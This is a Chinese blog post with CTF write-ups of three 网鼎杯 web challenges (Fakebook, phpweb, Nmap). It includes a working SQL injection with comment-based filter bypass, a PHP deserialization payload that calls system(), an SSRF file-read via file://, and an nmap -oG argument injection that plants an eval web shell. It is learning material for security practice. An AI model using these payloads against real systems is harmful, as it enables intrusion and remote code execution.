CTF-网鼎杯往届题目

1.[网鼎杯 2018]Fakebook
在这里插入图片描述

打开连接是一个类似于论坛的一个web应用,有登录和注册,首先在登录处试了试sql注入,失败了,然后乖乖去注册,在注册的时候想到了xss,试验后发现也并不可行。只能乖乖登录找bug了

登陆后发现用户名有超链接,点进入后就发现url是这样的

在这里插入图片描述
自然而然又想到了sql注入,测试后发现可以的,然后按流程,先用order by测试字段数,然后依次爆数据库名,表名,字段名 (过程中发现后端过滤的union select 的组合,测试后用/* */绕过)

构造url为http://6640d1b5-e1a8-45bb-b9f6-26bbdee8d84f.node4.buuoj.cn:81/view.php?no=2%20%20union%20/**/%20select%201,group_concat(column_name),2,3%20from%20information_schema.columns%20where%20table_name=%27users%27

得到字段名如下
在这里插入图片描述

其中只有data数据不知道是啥,我看了一下发现是一个序列化的字符串。
我自己勉强就做到这了,然后去看wp,这里用目录扫描可以扫到robots.txt和flag.php,打开robots.txt可以发现有一个php文件的备份文件,下载后打开。

在这里插入图片描述
其中比较关键的就是这个get函数了,查阅curl的资料可以得知,此处get函数主要就是在打开一个url,而这个url就是我们那个blog的url,因此这里是由文件包含漏洞的,我们可以设置blog的url为file:///var/www/html/flag.php,然后就可以读取flag.php了。

构造url为http://6640d1b5-e1a8-45bb-b9f6-26bbdee8d84f.node4.buuoj.cn:81/view.php?no=2%20%20union%20/**/%20select%201,2,3,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:5:%22admin%22;s:3:%22age%22;i:18;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%27
在这里插入图片描述
打开页面中会有一段base64的编码,解码后即为flag。

2.[网鼎杯 2020 朱雀组]phpweb

拿到题后查看源代码,发现表单里的两个参数是func和p,我突然后意识到可能是在函数名和参数,然后我试了一下。

用bp抓包然后修改func=hightlight_file和p=index.php。

在这里插入图片描述
说明猜测正确,在后端用call|_user_func来运行函数,但是过滤很多函数,如exec,system等等(后面还有很多,截图没截上)。

我首先想到的是用include函数结合php伪协议上传shell,但是发现call|_user_func不能运行include函数,然后又想绕过in_array黑名单,但好像也不太可行。

然后发现代码中有两处调用call|_user_func函数,而且Test类中的调用没有黑名单检测,我猜测这可能是个突破点,但是搞了半天也没搞出来,无奈还是去搜了wp。
发现我到此为止都是没问题,Test也确实是个突破点,如何突破了,用反序列化,就是unserialize函数,然后写了一个php脚本

<?php
    class Test{
        
        var $p = "ls";
        var $func = 'system';
        
    }
    $n = new Test();
    echo serialize($n);
?>

得到序列化的字符串后发送,然后并没有找到比较明显有flag的文件,然后可以查找,用find / -name flag*

在这里插入图片描述

然后去cat /tmp/flagoefiu4r93得到flag。

3.[网鼎杯 2020 朱雀组]Nmap

经过将网页扫描结果与真是nmap扫描结果进行对比,发现很一致,所以猜测网页后端就是调用了nmap命令,那我们就可以使用一些奇奇怪怪的命令了。

-oN (标准输出)

-oX (XML输出)

-oS (ScRipT KIdd|3 oUTpuT)

-oG (Grep输出)

-oA (输出至所有格式)

可以创建shell文件

' <?= @eval($_POST[1]);?> -oG a.phtml '

因为过滤了php,因此用短标签<?= ?>代替,然后就看了大佬的wp,用单引号和空格绕过escapeshellarg()与escapeshellcmd()函数(纯纯知识盲区)

然后就可以用蚁剑或菜刀连接,找到flag咯。

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值